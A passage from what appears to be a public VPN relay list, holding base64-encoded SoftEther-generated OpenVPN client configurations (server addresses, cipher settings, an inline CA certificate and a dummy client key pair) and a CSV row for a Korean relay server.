sIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjEuMTU5Ljk1Ljg4IDEyOTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn337896544,125.136.28.172,668908,30,355228171,Korea Republic of,KR,12,67844195,55436,12166217894244,2weeks,Jongseo's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyA